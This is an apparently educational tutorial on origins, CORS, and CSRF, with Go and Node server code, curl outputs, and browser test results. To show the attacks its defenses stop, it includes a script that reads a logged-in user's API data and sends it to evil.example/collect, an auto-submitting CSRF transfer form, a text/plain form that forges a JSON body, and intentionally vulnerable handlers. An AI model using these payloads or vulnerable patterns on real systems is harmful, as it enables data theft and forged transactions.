CORS & CSRF
What an origin is, what the same-origin policy really blocks, how CORS lets a server opt in to being read — and why it is not security. Then CSRF: the forged request that rides on your cookies, and the defenses that stop it (SameSite, tokens, Origin checks, Fetch Metadata). Tested in a real browser, with Go and Node code.
The 30-second version
Two true-to-life stories, both from the same afternoon.
Story 1. Priya's new frontend at https://app.shop.example calls her API at https://api.shop.example. The browser console turns red:
Access to fetch at 'https://api.shop.example/me' from origin 'https://app.shop.example'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present
on the requested resource.She finds a Stack Overflow answer, makes the API echo back whatever Origin it receives (the Origin header names the page making the request; §02) and adds Access-Control-Allow-Credentials: true ("…even when cookies were sent"; §05). The error goes away. She has also just let every website on the internet read her logged-in users' data from the API (§06 shows exactly how).
Story 2. Sam is logged in to his bank in one tab. In another tab he opens a forum post. The post contains a hidden form that submits itself to https://bank.example/transfer. Sam's browser attaches his bank cookie to that request, like it does to every request to the bank, and the bank sees a normal, logged-in transfer. That's CSRF, and it worked without anyone reading anything.
The map of this page
| Part | Sections | You'll learn |
|---|---|---|
| The rules | §02–§03 | What an origin is (exactly), and what the browser blocks and doesn't |
| CORS | §04–§06 | Simple vs preflight requests, a correct server in Go and Node, the misconfigurations that leak data |
| CSRF | §07–§10 | The attack, then each defense: SameSite cookies, tokens, Origin checks, Fetch Metadata, the JSON and login edge cases |
| Production | §11 | Designing so you need less of both, debugging, proxies and CDNs, clickjacking |
| Recap | §12–§14 | Pitfalls, quiz, cheat sheet |
Every browser behavior on this page was checked in a real browser (headless Chromium 153) against small Go servers, and every code sample was run with Go 1.24/1.26 and Node 22. Where browsers differ, the text says so.
Origins and sites, precisely
#fragment) is ignored.Take one URL apart:
https://app.shop.example:8443/cart/items?sort=price#top
└─┬─┘ └──────┬───────┘ └┬─┘└──────────────┬───────────┘
scheme host port path, query, fragment — NOT part of the originThe origin of that URL is https://app.shop.example:8443. When the port is the scheme's default (443 for https, 80 for http), it's left out: https://shop.example and https://shop.example:443 are the same origin.
| URL A | URL B | Same origin? | Why |
|---|---|---|---|
https://shop.example/a | https://shop.example/b?x=1 | ✅ yes | Only the path differs |
https://shop.example | http://shop.example | ❌ no | Scheme differs |
https://shop.example | https://app.shop.example | ❌ no | Host differs (a subdomain is a different host) |
https://shop.example | https://shop.example:8443 | ❌ no | Port differs (443 vs 8443) |
http://localhost:5173 | http://localhost:8080 | ❌ no | Port differs — your Vite dev server and your API |
http://localhost:3000 | http://127.0.0.1:3000 | ❌ no | Different hosts, even though they're the same machine |
That fifth row is why almost every developer meets CORS on day one: the frontend dev server and the API run on different ports, so they're different origins.
The browser tells the server the origin
When a page calls fetch() on another origin, or submits a POST (form or fetch) anywhere, the browser adds an Origin header naming the page's origin: Origin: https://app.shop.example. Page scripts can't change or remove it. (Plain <img>/<script> loads and link clicks usually don't carry it.) §04 and §09 rely on this header.
A wider circle: the site
Cookies use a looser grouping called a site: the scheme plus the registrable domain, the part someone actually registered. For https://app.shop.example, the registrable domain is shop.example, so the site is https://shop.example. Ports don't count for sites.
How does the browser know that shop.example is the registered part, but for alice.github.io it's the whole alice.github.io? It looks the ending up in the Public Suffix List. github.io is on that list, so every user's page under it is its own site. (Engineers call the registrable domain eTLD+1: the "effective top-level domain", like co.uk or github.io, plus one more label.)
| URL A | URL B | Same origin? | Same site? |
|---|---|---|---|
https://app.shop.example | https://api.shop.example | ❌ | ✅ both are shop.example |
https://shop.example | https://shop.example:8443 | ❌ | ✅ ports are ignored |
https://alice.github.io | https://bob.github.io | ❌ | ❌ github.io is a public suffix |
https://shop.example | http://shop.example | ❌ | ❌ in current Chrome and the HTML spec ("schemeful same-site") |
https://shop.example | https://evil.example | ❌ | ❌ |
Try your own pairs. The checker uses a small built-in copy of the Public Suffix List (the real one has about 10,000 entries).
| A | B | |
|---|---|---|
| scheme | https | https |
| host | app.shop.example | api.shop.example |
| port | 443 (default) | 443 (default) |
| origin | https://app.shop.example | https://api.shop.example |
| registrable domain | shop.example (suffix: example) | shop.example (suffix: example) |
| site | https://shop.example | https://shop.example |
The same-origin policy: send yes, read no
This surprises almost everyone. Let's see why it has to be this way.
Why reading is the thing to protect
You're logged in to bank.example. Its pages and API answers contain your balance, your address, your messages. They were made for you, because your cookie came along with the request.
Now you open evil.example in another tab. If its JavaScript could do fetch("https://bank.example/api/me") and read the answer, it would get your private data, served with your cookie. The same-origin policy is the rule that makes that fetch fail.
Why sending can't be blocked
The web was built on pages that pull in things from other sites: images from a CDN, a script from a library host, a form that posts to a payment provider, a link to anywhere. All of these are cross-origin requests, and they existed years before anyone worried about it. Blocking them would break most of the web.
So browsers kept them, with one limit: the page that started the request can't look inside the answer. An image from another site is shown to the user, but the page's JavaScript can't read its pixels. A form posts to another site, and the tab navigates there; the original page is gone.
Pick an action that evil.example can take against bank.example, where you're logged in:
<form method="POST" action="https://bank.example/transfer">…</form> <script>form.submit()</script>
The tab navigates to the bank's answer; the evil page is gone. But the server already ran /transfer. In Chrome, a cookie with no SameSite flag still rides along if it was set under 2 minutes ago (§08).
The SameSite toggle is a cookie setting explained in §08. “None” is how every cookie behaved before 2020.
The pattern in the widget is the whole topic in miniature:
- Request sent? Almost always yes. The bank's server receives it and runs its code.
- Cookies attached? Historically yes, always. Today the
SameSitecookie flag (§08) holds some back. - Can the script read the answer? No, unless the bank opts in with CORS (§04).
CORS: simple requests and preflights
The simplest case: one header
https://app.shop.example runs fetch("https://api.shop.example/products"). The browser sends:
GET /products HTTP/1.1
Host: api.shop.example
Origin: https://app.shop.example ← added by the browser
Sec-Fetch-Site: same-site ← also added (§09)If the response contains an Access-Control-Allow-Origin header that matches, the page gets the body:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.shop.example ← "this origin may read me"
Content-Type: application/json
[{"id":1,"name":"Mug"}]If the header is missing or names a different origin, the browser throws the response away. Your code sees only a generic TypeError: Failed to fetch, and the console shows the real reason. This is the exact text from Chromium 153 when our test API sent no CORS header:
Access to fetch at 'https://bank.test:8443/api/me?cors=none' from origin 'https://evil.test:8443'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the
requested resource.Access-Control-Allow-Origin: * means "any origin may read this", which is fine for truly public data (a public product catalog, open-source fonts), but only for requests without cookies. §05 covers what changes when cookies are involved.
Simple requests vs preflighted requests
Some cross-origin requests could already be sent by a plain HTML <form> or <img> long before CORS existed. The browser sends those straight away. They're called simple requests:
- method is
GET,HEADorPOST, and - the only headers the page sets are basic ones (
Accept,Accept-Language,Content-Language,Content-Type), and Content-Type, if set, isapplication/x-www-form-urlencoded,multipart/form-dataortext/plain.
Anything else could never be sent by a form, so the server might not expect it from another site. For those, the browser first asks permission with a preflight: an automatic OPTIONS request describing the real one. (OPTIONS is an HTTP method that asks "what may I do here?" and changes nothing.) Very common triggers:
| Your code does… | Why it needs a preflight |
|---|---|
method: "PUT", "PATCH", "DELETE" | Forms can only GET/POST |
headers: { "Content-Type": "application/json" } | Not one of the three form types |
headers: { Authorization: "Bearer …" } | Not a basic header |
any custom header, like X-Request-Id | Not a basic header |
Step through three cases. Watch the on the wire panel: in the denied case, the real PUT is never sent at all.
1// page on https://app.shop.example2const url = "https://api.shop.example/products";3const res = await fetch(url);4const products = await res.json();5render(products);
https://app.shop.example; the URL's host is api.shop.example. Different hosts → a cross-origin request, so CORS rules apply.The CORS headers, in one table
| Header | Sent by | Meaning |
|---|---|---|
Origin | browser, on the request | Who's asking |
Access-Control-Request-Method | browser, preflight only | "I'd like to send a PUT" |
Access-Control-Request-Headers | browser, preflight only | "…with these headers: content-type" |
Access-Control-Allow-Origin | server | Which origin may read: one exact origin, or * |
Access-Control-Allow-Methods | server, preflight answer | Methods allowed beyond the simple ones |
Access-Control-Allow-Headers | server, preflight answer | Request headers allowed |
Access-Control-Allow-Credentials | server | true = OK to read even when cookies were sent (§05) |
Access-Control-Max-Age | server, preflight answer | Seconds the browser may cache this preflight answer |
Access-Control-Expose-Headers | server | Response headers the page may read (see below) |
Credentials, Vary, and a correct CORS handler
credentials: "include"), and the server must answer with one exact origin plus Access-Control-Allow-Credentials: true. * is not allowed here.Cookies on cross-origin fetch: opt in on both sides
By default fetch() attaches cookies only to same-origin requests. For a cross-origin API that uses a login cookie, the page must ask:
const res = await fetch("https://api.shop.example/me", {
credentials: "include", // ← send cookies to another origin too
});Now the browser attaches the credentials, and becomes stricter about the answer. We tried each wrong server answer in Chromium 153; these are the real console messages:
| Server answered with | Result |
|---|---|
Allow-Origin: * | ❌ The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. |
Allow-Origin: * + Allow-Credentials: true | ❌ same message: * is never accepted with credentials |
Allow-Origin: https://app.shop.example only | ❌ The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'. |
Allow-Origin: https://app.shop.example + Allow-Credentials: true | ✅ the page can read the body |
The ban on * is deliberate: "any website may read this user's private data" is never what you mean. You have to name each origin you trust.
Vary: Origin, or how a cache serves the wrong answer
Since the server now echoes a different Access-Control-Allow-Origin depending on who asks, the response depends on the Origin request header. A CDN or other shared cache doesn't know that unless you say so. Without it, the cache can store the answer made for app.shop.example and hand it to admin.shop.example, whose browser then rejects it. That's a random-looking CORS failure that only happens in production.
The fix is one header: Vary: Origin, which tells caches "store one copy per Origin value". Send it on every response from a CORS-enabled route, including ones where the origin wasn't allowed. Otherwise a cached "no CORS headers" answer can be served to an allowed origin.
A correct handler
Here's a small CORS Middleware with an exact allowlist. It answers preflights itself and passes everything else on.
package main
import (
"fmt"
"log"
"net/http"
)
// Exact origins we trust: scheme + host + port. No patterns, no "*".
var allowedOrigins = map[string]bool{
"https://app.shop.example": true,
}
func cors(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Add("Vary", "Origin") // ← the answer depends on Origin; tell caches
origin := r.Header.Get("Origin")
ok := allowedOrigins[origin] // missing key → false
if ok {
w.Header().Set("Access-Control-Allow-Origin", origin) // echo ONE trusted origin
w.Header().Set("Access-Control-Allow-Credentials", "true")
}
// A preflight is an OPTIONS request that carries Access-Control-Request-Method.
if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" {
if ok {
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type")
w.Header().Set("Access-Control-Max-Age", "600") // cache this answer 10 min
}
w.WriteHeader(http.StatusNoContent) // answer the preflight; never run the handler
return
}
next.ServeHTTP(w, r)
})
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("GET /api/me", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
fmt.Fprintln(w, `{"user":"ada"}`)
})
log.Fatal(http.ListenAndServe("localhost:8080", cors(mux)))
}Here's what the Go version answers. These are real curl -i outputs (Date lines removed). curl lets us set any Origin header we like, which is itself a lesson:
$ curl -i -X OPTIONS localhost:8080/api/me -H 'Origin: https://app.shop.example' \
-H 'Access-Control-Request-Method: PUT' -H 'Access-Control-Request-Headers: content-type'
HTTP/1.1 204 No Content
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Origin: https://app.shop.example
Access-Control-Max-Age: 600
Vary: Origin
$ curl -i -X OPTIONS localhost:8080/api/me -H 'Origin: https://evil.example' \
-H 'Access-Control-Request-Method: PUT'
HTTP/1.1 204 No Content
Vary: Origin ← no Allow-* headers: the browser will refuse
$ curl -i localhost:8080/api/me -H 'Origin: https://evil.example'
HTTP/1.1 200 OK
Content-Type: application/json
Vary: Origin
Content-Length: 15
{"user":"ada"} ← curl reads it anywayLook at the last one. With an "untrusted" origin, the server still ran the handler and returned the data. Curl doesn't care about CORS headers; only browsers do. CORS protects your users' browsers from other websites. It does nothing against someone calling your API directly. That needs real Authentication and Authorization. §06 builds on this.
Cookies across sites: SameSite and third-party cookies
credentials: "include" asks the browser to attach cookies, but the cookie's own SameSite flag (fully explained in §08) can still hold it back:
- Frontend and API on the same site (
app.shop.example→api.shop.example): the request is same-site, so a normalSameSite=Laxcookie is sent. This is the easy setup. - Different sites (
shop-frontend.example→api.shop.example): the cookie needsSameSite=None; Secure, and it's now a third-party cookie. Safari blocks those by default and Firefox keeps them in a separate jar per top-level site, so the login "works on my Chrome" and fails for others. (Our headless Chromium 153 did sendSameSite=Nonecookies cross-site; Google dropped its plan to block them by default, but don't build on that.)
The design lesson, expanded in §11: put your API on the same site as your frontend, or better, behind the same origin (https://shop.example/api/… through a Reverse proxy). Then you need no CORS at all.
CORS misconfigurations, and why CORS isn't access control
Here's the attack in one picture. A user who is logged in to api.shop.example visits evil.example. Its script runs:
const res = await fetch("https://api.shop.example/me", { credentials: "include" });
await fetch("https://evil.example/collect", { method: "POST", body: await res.text() });If api.shop.example answers with Access-Control-Allow-Origin: https://evil.example and Access-Control-Allow-Credentials: true, the browser hands the user's private data to the attacker's script, which sends it home. We ran exactly this in Chromium against a test API that echoed the Origin: the script printed READ OK {"user":"ada","balance":1000}.
Pick a server policy, then an attacker, and see whether the attacker can read a logged-in user's data:
echo whatever Origin arrived + Allow-Credentials: true
The five classic mistakes
Reflecting whatever Origin arrives
The Stack Overflow fix from §01. It turns "only my frontend may read" into "every website may read, with the user's cookies".
// ✕ VULNERABLE: trusts every website
o := r.Header.Get("Origin")
w.Header().Set("Access-Control-Allow-Origin", o)
w.Header().Set("Access-Control-Allow-Credentials", "true")// ✓ exact allowlist (full version in §05)
o := r.Header.Get("Origin")
if allowedOrigins[o] {
w.Header().Set("Access-Control-Allow-Origin", o)
w.Header().Set("Access-Control-Allow-Credentials", "true")
}Libraries do this too when misused: the Node cors package with origin: true, for example, reflects the request's origin. Read what your library's "allow all" option actually sends.
Allowing the origin null
Developers see Origin: null while testing a local file:// page and add "null" to the allowlist. But any website can produce Origin: null: a page inside a sandboxed iframe (<iframe sandbox="allow-scripts" srcdoc="…">) sends it. We confirmed it: a script in a sandboxed iframe on evil.test sent Origin: "null" along with the user's cookie (a SameSite=None one, since the frame is cross-site). See Origin: null. Never allow it.
Suffix checks and loose regular expressions
"Allow anything ending in our domain" sounds safe. It isn't. These are real results from Node 22:
"https://evilexample.com".endsWith("example.com") // true ✕ attacker registers evilexample.com
const re = /^https:\/\/[a-z0-9-]+\.example.com/; // dot not escaped, no $ at the end
re.test("https://app.example.com.evil.net") // true ✕ attacker's own domain
re.test("https://app.examplezcom.net") // true ✕ "." matches any character
const fixed = /^https:\/\/[a-z0-9-]+\.example\.com$/; // escaped dot, anchored end
fixed.test("https://app.example.com.evil.net") // false ✓In Go the same bug is strings.HasSuffix(origin, "example.com") or strings.Contains. Prefer an exact set of origins. If you truly need patterns, parse the origin with url.Parse / new URL(), require https, and compare the host exactly or with a leading dot: host == "example.com" || strings.HasSuffix(host, ".example.com").
Trusting every subdomain
Even a correct *.example.com pattern trusts every subdomain: the old marketing blog, a forgotten staging app, a customer-content host. If any one of them has an XSS hole, the attacker runs script there, on a trusted origin, and reads your API with the user's cookies. List the few origins that need access, not a pattern.
Access-Control-Allow-Origin: * on an internal API
* without credentials is fine for public data. But "public" must mean "public on the internet". An intranet dashboard at http://wiki.corp.internal with Allow-Origin: * can be read by any website an employee visits: the attacker's script runs inside the employee's browser, which can reach the internal network. No cookies needed; network position is the credential. Chrome has started asking the user before a public site may reach private-network addresses, but other browsers don't, and users click "Allow".
What CORS can never do
It doesn't stop requests
It doesn't stop non-browsers
Origin they like (§05 showed curl reading the data).It isn't authorization
Origin on the server and returning 403 doesn't keep anyone out of your API. Every endpoint still needs Authentication and Authorization.CSRF: the forged letter
The mailroom is your browser; the badge is your cookie. The browser attaches cookies based on where the request is going, not on which page started it. That's the whole bug.
The attack, step by step
- Sam logs in to
bank.example. The bank setssession=s3cr3tas a cookie. - Later, Sam opens a page on
evil.example(a forum post, an ad, a link in an email). - That page contains a hidden form that submits itself:
<form id="f" method="POST" action="https://bank.example/transfer">
<input type="hidden" name="to" value="mallory">
<input type="hidden" name="amount" value="500">
</form>
<script>document.getElementById("f").submit();</script>- Sam's browser sends
POST https://bank.example/transferand, being helpful, attachesCookie: session=s3cr3t. - The bank looks up the session, finds Sam, and moves the money.
The attacker never saw Sam's cookie, never read a response, and didn't need CORS. A form POST is a simple request (§04): it goes out without asking anyone.
Here's the bank's handler. It's what most of us would write first:
var sessions = map[string]string{"s3cr3t": "sam"} // session ID → user, filled at login
func transfer(w http.ResponseWriter, r *http.Request) {
c, err := r.Cookie("session")
if err != nil || sessions[c.Value] == "" {
http.Error(w, "not logged in", http.StatusUnauthorized)
return
}
// ✕ The cookie proves WHO the browser belongs to. Not that the user MEANT to do this.
fmt.Fprintf(w, "sent %s to %s for %s\n", r.FormValue("amount"), r.FormValue("to"), sessions[c.Value])
}
// registered with: mux.HandleFunc("POST /transfer", transfer)Simulating the browser's forged request with curl, against both servers (real output):
$ curl localhost:8080/transfer -b session=s3cr3t -d to=mallory -d amount=500 \
-H 'Origin: https://evil.example'
sent 500 to mallory for samThe Origin: https://evil.example header was right there, and the handler never looked at it. Now try it in the lab. For now, leave every defense off and launch the attack:
<form method="POST" action="https://bank.example/transfer"> <input name="to" value="mallory"><input name="amount" value="500"> </form><script>form.submit()</script>
This lab starts with the cookie set to SameSite=None, which is how every cookie behaved before 2020. §08 shows what the newer settings change.
Which apps are at risk?
Any endpoint that changes something and identifies the user by something the browser attaches automatically:
- session cookies (the common case),
- HTTP Basic auth the browser remembered,
- TLS client certificates,
- "you're on the office network, so you're trusted" (the request comes from the victim's machine, inside the network).
Not at risk (by this attack): APIs where your own JavaScript adds Authorization: Bearer … to each request. The browser never adds that header on its own, so a forged request arrives without it. That has its own trade-off, covered in §11.
SameSite cookies: the first wall
SameSite cookie flag tells the browser: "don't attach this cookie to requests that another site started." It fixes CSRF at the source (the browser's helpful badge-stapling), for most cases.You set it where you set the cookie (the other flags are explained in AuthN & AuthZ → Sessions and cookie flags):
Set-Cookie: session=s3cr3t; Path=/; Secure; HttpOnly; SameSite=Laxhttp.SetCookie(w, &http.Cookie{
Name: "session", Value: sid, Path: "/",
Secure: true, HttpOnly: true,
SameSite: http.SameSiteLaxMode, // ← or http.SameSiteStrictMode
})The three values, measured
"Another site" means cross-site in the sense of §02: a different registrable domain (or scheme). We logged in to a test bank at https://bank.test, which set four cookies, one per setting. Then pages on https://evil.test (a different site) and https://app.bank.test (same site, different origin) made requests to the bank. This is what Chromium 153 attached:
Request to bank.test, started by… | None | Lax | Strict | no SameSite |
|---|---|---|---|---|
evil.test: <img src=…/transfer?…> | ✅ sent | — | — | — |
evil.test: auto-submitting <form method=POST> | ✅ sent | — | — | ⚠️ sent, only if the cookie was set < 2 min ago |
evil.test: location = "…/transfer?…" (a GET navigation) | ✅ sent | ✅ sent | — | ✅ sent |
evil.test: fetch(…, {credentials: "include"}) | ✅ sent | — | — | — |
app.bank.test (same site!): auto-submitting form | ✅ sent | ✅ sent | ✅ sent | ✅ sent |
How to read it:
Strict: never sent on anything another site starts, not even when the user clicks a normal link to you.Lax: held back on cross-site background requests (images, iframes,fetch) and cross-sitePOSTs, but sent on a top-level navigation with a safe method likeGET, so clicking a link to your site from an email still arrives logged in.None: sent everywhere, like cookies before 2020. Browsers requireSecurewith it (cookies markedSameSite=NonewithoutSecureare rejected).
Flip the cookie setting in the lab and replay the attacks:
<form method="POST" action="https://bank.example/transfer"> <input name="to" value="mallory"><input name="amount" value="500"> </form><script>form.submit()</script>
Lax is the default… in some browsers
A cookie with no SameSite attribute is treated as Lax by Chrome and Edge (since 2020). At the time of writing, Firefox and Safari don't do this by default. And Chrome has one exception, visible in the last column above: for a cookie with no SameSite attribute that was set less than two minutes ago, cross-site top-level POSTs still carry it, so that some login flows that POST back to your site don't break. We waited two minutes and repeated the forged form; the cookie was no longer sent.
Always set SameSite explicitly. Never rely on the default.
Where SameSite doesn't protect you
GETs that change things
Lax sends the cookie on a top-level GET navigation. If GET /transfer?to=mallory moves money, an attacker's link or location = … still works (row 3). GETs must be safe.Attacks from your own site
blog.bank.test, user-uploads.bank.test or a forgotten subdomain someone took over is same-site: even Strict cookies go along (row 5).Browsers you don't control
None cookies (needed for some cross-site setups, §05) get no protection at all.So SameSite=Lax (or Strict) is a strong first layer, which you should always have. For anything that matters, add a server-side check that doesn't depend on the cookie: §09. That's Defense in depth.
Server-side defenses: Fetch Metadata, Origin, tokens
There are two ways to know that:
- Ask the browser who started it. Modern browsers stamp every request with headers that page scripts can't forge:
Origin(§02) and Fetch Metadata, especiallySec-Fetch-Site. - Require a secret only your pages know: a CSRF token. The attacker's page can send requests, but it can't read your pages (§03), so it can't learn the token.
Defense 1: Fetch Metadata + Origin
Sec-Fetch-Site has four values. These are what our test server logged from Chromium 153 for the attacks in §07–§08:
Sec-Fetch-Site | Meaning | Seen on |
|---|---|---|
same-origin | your own page, same origin | the bank's own form |
same-site | a sibling subdomain | the form on app.bank.test |
cross-site | another site | every attack from evil.test |
none | no page started it: typed URL, bookmark | the user opening the bank directly |
The rule is short: for unsafe methods (anything but GET, HEAD, OPTIONS), allow same-origin and none; reject the rest.
There's a catch: browsers only send Fetch Metadata to HTTPS URLs (and localhost). Every current browser has done so since 2023. Over plain HTTP (an intranet app on http://wiki.corp.internal, an HTTP staging host), and in old browsers, Sec-Fetch-Site is simply missing; Chromium 153 sent none on a plain-HTTP cross-site form POST. So the check needs a fallback: compare the Origin header's host with the request's Host header (the domain the browser thinks it's talking to). Browsers do send Origin on every POST, over HTTP too. Requests with neither header aren't from a browser page (curl, another server), and CSRF needs a browser, so they pass through to your normal login checks.
Go has this built in since Go 1.25: http.CrossOriginProtection. In Node you write the same dozen lines yourself:
func main() {
mux := http.NewServeMux()
mux.HandleFunc("POST /transfer", transfer) // the vulnerable handler from §07, unchanged
cop := http.NewCrossOriginProtection() // Go 1.25+
// Another origin of yours that may POST here (exact origin, no path):
if err := cop.AddTrustedOrigin("https://admin.bank.example"); err != nil {
log.Fatal(err)
}
log.Fatal(http.ListenAndServe("localhost:8080", cop.Handler(mux))) // ← wrap everything
}We put the Go version in front of the vulnerable transfer handler from §07 and replayed the browser's headers with curl, on Go 1.26. Real responses (other headers trimmed):
$ curl -i localhost:8080/transfer -b session=s3cr3t -d to=mallory -d amount=500 \
-H 'Sec-Fetch-Site: cross-site' -H 'Origin: https://evil.example'
HTTP/1.1 403 Forbidden
cross-origin request detected from Sec-Fetch-Site header
$ curl -i localhost:8080/transfer … -H 'Origin: https://evil.example' # old browser: no Sec-Fetch-Site
HTTP/1.1 403 Forbidden
cross-origin request detected, and/or browser is out of date: Sec-Fetch-Site is missing, and Origin does not match Host
$ curl -i localhost:8080/transfer … -H 'Sec-Fetch-Site: same-site' -H 'Origin: https://app.bank.example'
HTTP/1.1 403 Forbidden # stricter than SameSite!
cross-origin request detected from Sec-Fetch-Site header
$ curl -i localhost:8080/transfer … -H 'Sec-Fetch-Site: same-origin'
HTTP/1.1 200 OK
sent 500 to mallory for sam
$ curl -i localhost:8080/transfer … -H 'Origin: null' # sandboxed iframe, no Sec-Fetch-Site
HTTP/1.1 403 Forbidden
cross-origin request detected, and/or browser is out of date: Sec-Fetch-Site is missing, and Origin does not match HostAnd the Node version above, run exactly as printed, with the hostile inputs that would crash a naive new URL(origin) (real output, Date/Connection headers trimmed; the process keeps running):
$ curl -i -X POST localhost:8080/transfer -H 'Origin: null'
HTTP/1.1 403 Forbidden
malformed or opaque Origin header
$ curl -i -X POST localhost:8080/transfer -H 'Origin: %%not a url'
HTTP/1.1 403 Forbidden
malformed or opaque Origin header
$ curl -i -X POST localhost:8080/transfer -H 'Origin: http://localhost:8080' # matches Host
HTTP/1.1 200 OK
content-type: text/plain
okNote the third Go result: unlike SameSite, this check works on origins, so a hostile sibling subdomain is blocked too. Try the decision yourself:
1function crossOriginCheck(req) {2 if (SAFE_METHODS.has(req.method)) return null;3 const origin = req.headers.origin;4 if (origin && trustedOrigins.has(origin)) return null;5 const site = req.headers["sec-fetch-site"];6 if (site) {7 const ok = site === "same-origin" || site === "none";8 return ok ? null : "cross-origin (Sec-Fetch-Site)";9 }10 if (!origin) return null;11 let host;12 try { host = new URL(origin).host; }13 catch { return "malformed or opaque Origin"; }14 return host === req.headers.host ? null : "Origin ≠ Host";15}
Sec-Fetch-Site: cross-site — another site started it.
Go 1.26 body: cross-origin request detected from Sec-Fetch-Site header
Current browsers send Sec-Fetch-Site on HTTPS (and localhost) requests, but not over plain HTTP; they send Origin on every POST. So "Sec-Fetch-Site absent" models plain-HTTP sites and old browsers, and "both absent" models curl or another server.
Defense 2: a CSRF token
The classic defense, and the one most frameworks (Django, Rails, Laravel, Spring) ship by default. It's called the synchronizer token pattern:
- At login, generate a random token with a CSPRNG and store it in the session, on the server.
- Put it in every page you render: a hidden form field, or a
<meta>tag your JavaScript reads. - On every unsafe request, require it back (form field or an
X-CSRF-Tokenheader) and compare it with the session's copy.
// 1. At login (crypto/rand.Text is Go 1.24+: 26 random characters)
sess.CSRF = rand.Text()
// 2. In the html/template (it inserts the CSRF field, HTML-escaped):
// <input type="hidden" name="csrf" value="{{.CSRF}}">
// 3. On every POST/PUT/PATCH/DELETE (crypto/subtle):
func validCSRF(got, want string) bool {
return want != "" && subtle.ConstantTimeCompare([]byte(got), []byte(want)) == 1
}
if !validCSRF(r.FormValue("csrf"), sess.CSRF) {
http.Error(w, "bad CSRF token", http.StatusForbidden)
return
}We used a constant-time comparison so an attacker can't learn the token byte by byte from response timings. Both validCSRF functions were tested: they return true only for the exact token, and false for an empty, missing or wrong one (including when the session has no token, the want != "" part).
A stateless variant, the double-submit cookie, puts the token in a cookie as well as in the form, and checks the two match. Plain double-submit is weak, because a sibling subdomain can sometimes set cookies for your domain. If you use it, make the token signed and tied to the session: token = random + "." + HMAC(serverKey, sessionID + "." + random) (an HMAC). On each request the server recomputes the HMAC from the session ID and the random part and compares it in constant time; a cookie planted by a subdomain can't carry a valid signature for this user's session. Also name the cookie with the __Host- prefix so subdomains can't overwrite it.
Now turn the defenses on in the lab, one at a time, and see which attacks each one stops:
<form method="POST" action="https://bank.example/transfer"> <input name="to" value="mallory"><input name="amount" value="500"> </form><script>form.submit()</script>
Which should I use?
| Situation | Recommended |
|---|---|
| New Go service | SameSite=Lax cookies + http.CrossOriginProtection (Go 1.25+) on the whole mux |
| New Node service | SameSite=Lax + the crossOriginCheck above as the first middleware |
| Must support very old browsers, or a framework already gives you tokens | Keep the tokens; add SameSite too |
Pure API with Authorization: Bearer from JS, no cookies | No CSRF defense needed (§07), but see §11 |
JSON APIs, login CSRF and other edge cases
GET that does something."My API only takes JSON, so forms can't attack it"
The reasoning: a real JSON request needs Content-Type: application/json, which triggers a preflight (§04), which CORS refuses. True, if your server insists on that content type. But a form can send enctype="text/plain", and with a little trick its body looks like JSON:
<form method="POST" enctype="text/plain" action="https://bank.example/api/transfer">
<input name='{"to":"mallory","amount":500,"x":"' value='"}'>
</form>A text/plain form sends name=value, so the browser glues the two halves around an =. We submitted this cross-site from Chromium 153. The bank received Content-Type: text/plain, the user's SameSite=None cookie, and this body (plus a trailing line break):
{"to":"mallory","amount":500,"x":"="}That's valid JSON. Go's json.NewDecoder(r.Body).Decode(&t) and Node's JSON.parse both accept it happily, because neither looks at Content-Type. Check it yourself:
// Reject anything that isn't really JSON *before* decoding (mime package).
mt, _, err := mime.ParseMediaType(r.Header.Get("Content-Type"))
if err != nil || mt != "application/json" {
http.Error(w, "Content-Type must be application/json", http.StatusUnsupportedMediaType)
return
}Tested with that forged body: without the check, both handlers sent the money; with it, the text/plain version gets 415 Unsupported Media Type and a real application/json; charset=utf-8 request still works. mime.ParseMediaType also strips ; charset=… and lowercases the type for you; the _ in mt, _, err discards the parameters it returns, which we don't need.
This check is a good extra layer, but keep §09's check as the main one. It's one config mistake away from being bypassed (a CORS policy that allows the attacker's origin also allows its preflight).
Login CSRF: forging the login
Login CSRF sounds harmless ("the victim gets logged in? so what?"), but it's backwards: the attacker's page submits the attacker's own username and password to your login form. The victim is now silently logged in as the attacker. Whatever they do next (save a card, upload a document, search for something private) is stored in an account the attacker can read.
Defenses:
- Apply the §09 check to the login
POSTtoo.http.CrossOriginProtectioncovers it automatically if it wraps the whole mux; token schemes need a pre-login token, because there's no session yet. - For "Sign in with Google/GitHub" (OAuth), the callback is a
GETthat the attacker can forge with their authorization code. Thestateparameter is the CSRF token for that flow. See AuthN & AuthZ → OAuth 2.0.
Smaller corners
GET /logout, GET /delete
GET that changes state is forgeable with an <img> tag, gets cookies on top-level navigation even with SameSite=Lax, and is waved through by every CSRF middleware. Use POST (or DELETE).Method override
POST with _method=DELETE in the form (or an X-HTTP-Method-Override header) as a DELETE. A plain form can then forge "DELETE" requests. Turn it off for APIs, or make sure the CSRF check runs on the original POST.WebSockets
SameSite setting allows. Check the Origin header in the handshake: see WebSockets → Security.Staff-level: design it away, then debug what's left
SameSite cookies plus a server-side origin check on every write.Cookies or bearer tokens?
The choice of where the credential lives decides which of these problems you have.
HttpOnly session cookie | Token in JS memory, sent as Authorization: Bearer | |
|---|---|---|
| CSRF | Possible: the browser attaches it (§07). Needs §08–§09 | Not possible: browsers never add it on their own |
| Stolen by XSS | No: HttpOnly hides it from scripts | Yes: any injected script can read and send it home |
| Cross-origin API | Needs credentials-mode CORS (§05) + third-party-cookie trouble | Needs a preflight for the Authorization header |
